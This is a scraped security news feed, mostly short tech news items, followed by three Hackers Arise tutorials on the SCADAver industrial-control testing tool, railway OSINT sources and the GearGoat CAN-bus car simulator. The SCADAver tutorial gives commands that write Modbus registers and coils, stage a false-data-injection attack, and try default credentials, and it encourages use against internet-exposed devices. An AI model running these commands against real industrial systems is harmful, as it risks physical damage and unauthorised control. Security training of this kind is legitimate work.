The flaws could lead to arbitrary code execution, authorization bypasses, and privilege escalation.

The post Adobe, Veeam, Juniper Networks Patch Critical Vulnerabilities appeared first on SecurityWeek.

Singapore's SIMBA faces potential licence suspension after alleged spectrum violations. Here's what the investigation means for mobile customers.

The post SIMBA Could Lose Singapore Telecom Licence: What Customers Should Know appeared first on TechRepublic.

Singapore's SIMBA faces potential licence suspension after alleged spectrum violations. Here's what the investigation means for mobile customers.

The post SIMBA Could Lose Singapore Telecom Licence: What Customers Should Know appeared first on TechRepublic.

Artificial intelligence is accelerating cybersecurity threats, while AI adoption is posing urgent risks around data, identity, trust and decision-making.

© Getty Images/Orhan Turan

Successful exploitation of some of these issues could lead to remote code execution and full device takeover.

The post F5, Juniper Networks Patch Critical Vulnerabilities appeared first on SecurityWeek.

The company says it’s aware of limited exploitation against customers’ firewalls, and it has made IoCs available.

The post Palo Alto Networks Patches PAN-OS Zero-Day Exploited for Remote Code Execution appeared first on SecurityWeek.

Antisemitism runs through nearly every corner of the True Crime Community (TCC), a growing online subculture built around a fascination with mass killers and extreme violence.

read more

BT Email customers say they have been bombarded with hundreds – and in one case more than 1,000 – unsolicited password reset messages, leaving the telco investigating what is causing the deluge. The reports began appearing on BT's community forums over the weekend, with customers describing sudden bursts of PIN messages arriving within minutes despite them making no attempt to reset their passwords. One customer said they received between 50 and 70 PIN texts "in the space [of] a few minutes," while a second reported more than 100. A third said the number had passed 500, and another claimed to have received more than 1,000. One BT customer who contacted The Register separately said they had received around 300 password reset emails over the previous 24 hours, typically arriving in bursts of around 50 within a minute before stopping for several hours. BT has acknowledged the problem but has yet to explain what is behind it. "We are aware that some customers have received a large number of password reset pin messages and we are actively investigating the cause of this," a BT moderator said on the company's community forum. "If you have received multiple messages like this, please ignore them and remain vigilant for any unusual activity with further messages or unexpected calls." BT added that customers' email accounts are secure and that those receiving the messages do not need to take any action. At least one customer, however, claims someone accessed their account during the PIN barrage. The user said they lost access to both their email and BT ID overnight, but managed to request a PIN before whoever was accessing the account could change the telephone number attached to it. That account has not been independently verified, and it isn't clear whether the apparent takeover was connected to the flood of PIN messages. The cause of the wider problem remains a mystery. It isn’t yet clear whether it’s the result of someone deliberately hammering a password recovery mechanism, a fault within BT's systems, or something else entirely. The Register has asked BT how many customers are affected, whether the messages are being generated by external password-reset attempts, and whether it has found any evidence of malicious activity. We've also asked the telco what rate limiting it applies to password reset requests, given reports of hundreds of PINs arriving within minutes, and whether both email and SMS messages are affected. BT says it's investigating. In the meantime, some customers are getting enough PINs to start their own lottery. ®

The UK's Advanced Research and Invention Agency (ARIA) is funding projects aimed at delivering connectivity using high-flying aircraft, including technology to beam power from the ground to keep them in the air. Britain's science and technology body, inspired by America's DARPA but on a more modest budget, says it is backing 18 projects to develop aircraft capable of operating reliably and cost-effectively in the stratosphere, as part of a program known as Enduring Atmospheric Platforms. Success will be measured by whether any aircraft can continuously supply 300 W of power to a communications payload for an entire week, while holding station above the UK. The intent is to create an alternative to orbital satellites for providing connectivity to underserved parts of the UK and elsewhere in the world. These are known as high-altitude pseudo-satellites (HAPS). The agency says that satellites have been the default way to reach users or communities that are not well served by terrestrial networks, but their distance and orbits impose physical limits on what they can deliver. ARIA is allocating £70 million ($94 million) in funding over three and a half years for the projects, which will tackle the power and reliability challenges of sustained operations above the UK. The projects are split into three technical areas, with TA1 set to cover enabling technologies, TA2 comprising system integration and testing, and TA3 focused on deployment and communications. ARIA highlighted a project called Carousel from aerospace startup Menapia. This plans to produce a constellation of high-altitude multi-rotor aircraft, capable of routine operations at altitudes up to 20 km (12 miles), with the intention of forming a persistent "canopy" over the UK. Another is Enduring Drone Networks, being developed by VFP Aerospace, which is aiming for persistent presence via a relay team of units that will cycle between their service altitude and ground stations for recharging. It says it is targeting a production cost of £50,000 ($67,000) per drone. In the enabling technologies category, a firm called Hypanode Ltd is working on a fuel cell power system to deliver 20 times more energy than current battery technology. Scalable Laser Ltd is developing laser-based power beaming technology, pairing high-power laser diodes with advanced photovoltaic receivers, while Space Solar Engineering Ltd is looking at radio frequency power beaming to deliver continuous power to a HAPS aircraft. A more exotic-sounding technology is Stratospheric Navigation and Gravity (STRAT-NAV) from the University of Bath. This seeks to extend the endurance of HAPS craft by allowing them to predict and make use of atmospheric gravity waves – caused when air is forced upward by weather fronts or hills, and gravity pulls it back down, creating a ripple. "This research expands the UK's leadership in high-altitude platforms to become the place where this industry is designed, built, and scaled," says Rico Chandra, ARIA's program director for Enduring Atmospheric Platforms. "Getting there means backing bold ideas, from fixed-wing solar aircraft to designs nobody predicted, including aircraft that fly on spinning wings instead of propellers." ARIA funds teams of scientists and engineers to pursue cutting-edge research. It is a non-departmental public body sponsored by the Department for Business, Innovation, Science and Trade (BIST). It was until recently chaired by entrepreneur Matt Clifford, who stepped down after taking up a role with US AI firm Anthropic. The agency was also controversially spared being asked to make savings leading up to the UK government's Spending Review last year. ®

Huawei wants near-packaged optics (NPO) standardized for AI networks, pitching it as a replacement for conventional pluggable modules without the cost and maintenance headaches it attributes to co-packaged optics. The Chinese tech giant showcased an NPO module with a capacity of 7.2 terabits per second (Tbps) at the China International Optoelectronic Exposition (CIOE) held in Shenzhen over September 9-11, and said this will form part of the company's next-gen SuperPOD AI systems. NPO refers to the placement of the optical engine in a network switch as close as possible to the switch's application-specific integrated circuit (ASIC), but still as a separate package plugged into the mainboard. This is one potential option to supersede the pluggable modules now widely used to terminate optical fiber links to a switch. Pluggable modules typically contain a digital signal processor (DSP) to clean up the incoming signal, and their power consumption and heat output increase with network speed. With AI infrastructure pushing network connections to 800 Gbps and even 1.6 Tbps, this is becoming a problem. Another upgrade path for switches is co-packaged optics (CPO), where the optical engine sits even closer – on the same substrate as the switch ASIC silicon. This is expected to deliver low latency and power consumption, but Huawei says the advanced packaging is expensive and makes failed optical engines difficult to replace in the datacenter. This is why Huawei says it is pushing NPO as the pragmatic choice for the near future. "When it comes to optical interconnects, there are two technical choices. One is NPO, near package optics. The other is CPO, co-packaged optics. Compared with CPO, the NPO technology is more mature, making it easier for production ramp up and it's easier for maintenance. So NPO stands as the most mature technology at the moment, and it is also a practical choice in this day and age," said Dr Man Jiangwei, director of Huawei's Advanced Opto-Electronics Laboratory. Huawei says its NPO design eliminates the module's separate DSP by integrating those functions into the ASIC. Man claims this cuts latency from 100 nanoseconds to 10 nanoseconds and reduces power consumption by around 60 percent. "When you put all these factors together, we're able to bring down the cost by a large margin," he claimed. But a project to define NPO standards was officially started only in May this year, at the Q2 meeting of the Optical Internetworking Forum (OIF). Its members include Cisco, HPE, Arista, and Nvidia. The members there were focused on defining a 6.4 Tbps NPO interface with a future extension to 12.8 Tbps, while Huawei is already demonstrating its 7.2 Tbps product. Asked about this at a roundtable to discuss NPO, Dr Man said 6.4T and 7.2T represent the fan-out bandwidth capabilities required by different vendors and system players. "I believe this kind of technical divergence or differing opinions is quite common in standardization. Looking ahead on the standards platform, I'm confident we'll find an appropriate way to ensure compatibility between 6.4T and 7.2T, meeting the needs of the entire industry chain," he said. One of the goals of the OIF NPO project is to come up with common electrical interfaces, mechanical form factors and connectors. Huawei's NPO is understood to employ 200 gigabits per second per lane across a total of 36 lanes, while the proposed 6.4 Tbps OIF interface would use 32 lanes. The company has already committed to using its own NPO in the upcoming third generation of its SuperPOD AI infrastructure platform, an analog of Nvidia's NVL rack-scale systems. The SuperPOD platform links large numbers of Huawei's Ascend neural processing units (NPUs). Huawei declined to say when this SuperPOD will be available, but Dr Man hinted more will be revealed at the Huawei Connect event in Shanghai later this week. He also said Huawei will be "more than happy to share this product with our customers in the downstream, and not only downstream, but we also like to share this technology with the suppliers on the upstream, including various vendors from different countries and regions." Huawei's exposure to US export restrictions, imposed on national security and foreign policy grounds, raises a related question. One roundtable participant asked whether industry adoption could suffer if the Trump administration perceives NPO as Huawei-driven technology. Man said he wasn't the right person to discuss the political environment and reiterated Huawei's commitment to openness and collaboration. "We are happy to work with vendors from different regions, including vendors from the United States, from China, and from Japan. So together we can advance the development of the NPO ecosystem and ultimately contribute to the booming AI ecosystem," he said. NPO isn't the only alternative to CPO. Earlier this year, Arista Networks unveiled its eXtra-dense Pluggable Optics (XPO) concept, which proposes updating pluggable modules to include cooling via an integrated liquid cooling cold plate, and offering up to 12.8 Tbps per module (64 lanes at 200 Gbps each). Huawei pitches NPO as the most mature option; XPO retains the front-panel plug-in module format. Which format will get the widest adoption will depend on switch vendor support as well as customer priorities, and it is likely that NPO, CPO and XPO will coexist for some time. ®

Virgin Media is ditching its email services and offering customers a window in which to download their data and move to another email provider. The UK's second-biggest broadband provider is closing its own email service and offering users the option of transferring their addresses and mailboxes to Junara, a service operated by Australian email provider Atmail. Customers who want to retain their Virgin Media email address will be invited to transfer to Junara. The first year will be free for current Virgin Media customers, after which they will have to pay to continue using the service. Virgin Media email users will be contacted directly and given 45 days to sign up with Junara, save their data and move to another provider, or allow their account to close. The change affects all addresses ending in @ntlworld.com, @blueyonder.co.uk, @virgin.net, and @virginmedia.com. Virgin Media stopped issuing new email addresses to broadband customers in 2022, citing the growing popularity of dedicated services such as Gmail and Outlook. A spokesperson for the company told The Register: "As we focus and prioritize our investments and resource on ensuring our customers have the best connectivity experience, we have taken the decision to close the remaining Virgin Media email accounts. We're transferring our email service to Junara, a specialist cloud-based email provider owned by Atmail, giving users a clear route to keep their existing Virgin Media email address if they choose to." "We are writing directly to all impacted customers to clearly explain the changes and will provide a 45-day window to either sign up with Junara, move to an alternative email provider, or close their account. To support users through this transition, all current Virgin Media customers wishing to move to Junara will receive their first year of service free of charge, with additional support available for those who need it." Announcing the change in a blog post, Virgin Media O2 chief operating officer Alan Stott said most people now prefer dedicated email providers to accounts supplied by telecoms operators. "By transferring these email accounts to a specialist provider, we can focus our attention and investment on what we're ultimately here to do – provide fast and reliable broadband, mobile, landline and TV services, and give our customers the best possible experience." Virgin Media has not said how many active email accounts will be affected, but their users will have just 45 days to decide whether keeping their old address is worth signing up for a separate service. ®

Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Railways are probably the most talkative piece of infrastructure in the world. Unlike military installations or closed networks, most railway data is deliberately published in the open: timetables, track diagrams and network lengths. All of this exists to serve passengers, logistics companies, and researchers, but that same data turns out to be a powerful OSINT resource for transport infrastructure analysts and security researchers alike.

In this article, I will walk through a set of open tools that let you investigate the rail infrastructure of almost any country, from a static map of the tracks to the real-time position of a single train. Let’s get rolling!

Why This Matters

A rail network is the physical backbone of a country’s logistics, covering passenger traffic, freight corridors, border crossings, and industrial sidings. For an analyst, it is a source of information about the network’s topology, meaning which lines connect where, which stations act as junctions, and which branches simply end. It also reveals capacity and traffic load, since it shows how many trains actually run on a given route. Beyond that, it exposes concrete infrastructure objects such as stations, depots, marshalling yards, and industrial spur lines. Finally, it can show real-time dynamics, meaning where a specific train or tram happens to be right now.

Each tool described below covers a different slice of this picture. Together they form a fairly complete stack for railway OSINT.

Step 1: OpenRailwayMap

https://www.openrailwaymap.org

This is a derivative project of OpenStreetMap dedicated entirely to railway infrastructure. The map displays tracks broken down by electrification, gauge, and number of tracks, along with signaling equipment and speed limits through its Maxspeed layer. It also shows stations, platforms, depots, and switches, and includes an operations layer that reveals which operator a given section of track belongs to.

Step 2: NS International Station Maps

https://www.nsinternational.com/en/stations/station-maps-floor-plan

This is a catalog of floor plans for European railway stations. It is useful when you need to understand the internal layout of a specific hub, including platform positions, exits, and interchange points with other transport modes.

For an OSINT analyst, this is a natural complement to satellite imagery. A floor plan shows what you cannot see from above, such as platform numbering, service access points, and staff-only zones.

Step 3: geOps Mobility Portal

https://mobility.portal.geops.io

This is an online tracker that shows the live movement of trains and public transport across most of Europe, tied to the published timetable. On the map, you can see the current position of a service, its train number and rolling stock type, and any delays relative to schedule.

Step 4: Yandex Rasp Train Map

https://rasp.yandex.ru/map/trains

This is a similar service, but it covers Russia, Belarus, Kazakhstan, and Uzbekistan, regions that geOps does not reach.

Step 5: Wikiroutes

https://wikiroutes.info

This is a crowdsourced directory of public transport routes covering trams, trolleybuses, buses, and metro systems in cities worldwide. It is not strictly a railway resource, but it is valuable for analyzing the last mile, meaning how passengers actually get from a station into the city, and for understanding how a rail network integrates with the rest of urban transport.

Step 6: City Population, network length statistics

https://www.citypopulation.de/en/world/bymap/railways

This is a statistical resource showing total railway track length broken down by country and region.

Summary

Rail infrastructure is one of the few types of critical infrastructure where states and operators voluntarily publish an enormous amount of detailed open data, simply because passengers need it. For an analyst that means a combination of free maps, trackers, and directories can produce a picture rivaling that of commercial geospatial analytics products. All it takes is knowing which tool covers which layer of the data.

If you’re looking to enhance your OSINT skills beyond just using this tool, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): What Open Maps and Trackers Reveal About Rail Networks first appeared on Hackers Arise.

Welcome back, cyberwarriors!

Earlier, we wrote an article on the issues that cars have. These issues are still common and car ransomware might soon emerge, hitting not just individual cars but entire fleets as vehicles get more autonomous and packed with different features.

In light of that, we want to show you a tool that makes car hacking more approachable. It’s GearGoat. The tool was built to simulate a car’s internal network so you can play with it.

GearGoat

GearGoat is a car simulator developed by INE Labs. It lets you work with the internal communication network used by most modern vehicles (CAN bus). Every action generates CAN packets on a virtual interface. You can use cansniffer, candump and UDS scanners with GearGoat, just like with any vehicle.

In a real car, you’d connect a CAN adapter (CANable or Macchina M2) into the OBD-II port, located under the dashboard. This port is basically a gateway into the vehicle’s internal network. Your system will treat the adapter as a network interface (can0) and you can start capturing and sending CAN messages. When someone presses the brake or turns on the indicators, it generates messages that travel across the network.

Setting Up

GearGoat runs inside a Docker container, so it’s easy to deploy. Clone the repository and run the script:

kali > git clone https://github.com/ine-labs/GearGoat.git
kali > cd GearGoat
kali > sudo chmod +x initial_setup.sh
kali > sudo ./initial_setup.sh

Then you need to configure the virtual CAN interface (vcan0):

kali > sudo chmod +x vcan_setup.sh
kali > sudo ./vcan_setup.sh

On certain distros you might be missing kernel modules. Here’s how you install them:

kali > sudo apt-get install -y linux-modules-extra-$(uname -r)

It doesn’t always work on Kali Linux though. You can manually load the required modules and create the interface yourself:

kali > sudo modprobe vcan
kali > sudo ip link add dev vcan0 type vcan
kali > sudo ip link set up vcan0
kali > ip link show vcan0

Now everything should be ready. You can start GearGoat:

kali > sudo docker run --network="host" --privileged geargoat

The simulator will be hosted on http://localhost. There you’ll see different car functions. Each button on the interface generates CAN traffic.

Intercepting Traffic

While the simulator’s running, it continuously generates CAN traffic. To see this traffic, use cansniffer.

kali > cansniffer -c vcan0

The output can feel overwhelming. The tool keeps highlighting changing bytes dynamically. It’s very noisy when you’re trying to establish a baseline. You need a way to tell the tool what normal looks like. Press Shift + 3 + Enter multiple times and cansniffer will treat the current state as the baseline. It won’t highlight the background noise anymore, so you’ll only see the changes you make.

Once the baseline is set, you can start playing with the simulator. Click the Left Indicator button and you’ll notice a change in the CAN data.

The first byte of a frame changes and it’s tied to 0x188. That means this identifier controls the indicator state.

When you play with the speedometer, you’ll see a different pattern. The changes happen in the 4th and 5th bytes are associated with 0x244. The speed climbs gradually.

Repeat this with other controls and you’ll see how functions map on the CAN bus.

Sending Input

Now we know which messages control specific functions, so we can interact with them.

To control the indicators, we’ll send CAN frames using cansend:

kali > cansend vcan0 188#0100000000000000  # left
kali > cansend vcan0 188#0200000000000000  # right

These commands will turn on the left and right indicators. The CAN bus runs at high speed, so these changes can be hard to catch. We used the watch command to make it more visible:

kali > watch -n 0.1 "cansend vcan0 188#0200000000000000"

Working with speed gets slightly more complex. Earlier, we found the address (0x244) and that specific bytes that control the value. To set a speed, we need to convert miles per hour into the format the CAN message expects.

To simulate a speed of 50 miles per hour you send:

kali > cansend vcan0 244#0000001F6F

You can see the simulator accelerating. Use the formula V = round(mph / 0.6213751 * 100) to calculate the value, then convert it into hexadecimal using big-endian.

Capturing and Replaying Traffic

You can also capture and replay traffic. That way you can record a sequence of actions and reproduce them.

To capture traffic, you use candump with logging:

kali > candump -l vcan0 

It’ll record the CAN messages into a log file. Once captured, you can replay it:

kali > canplayer -I <log_file_name>.log

Summary

GearGoat can get you started with car hacking. You work with a simulated CAN bus to understand the communication patterns and message structure. It’s easy to set up and it’s not resource intensive, so it’ll run on pretty much any computer.

We also have our three-day Car Hacking training, showing you real attacks. It includes CAN protocol exploitation and the use of Software Defined Radio (SDR). There we show you how modern vehicles are actually compromised.

The post Automobile Hacking: Hacking with GearGoat first appeared on Hackers Arise.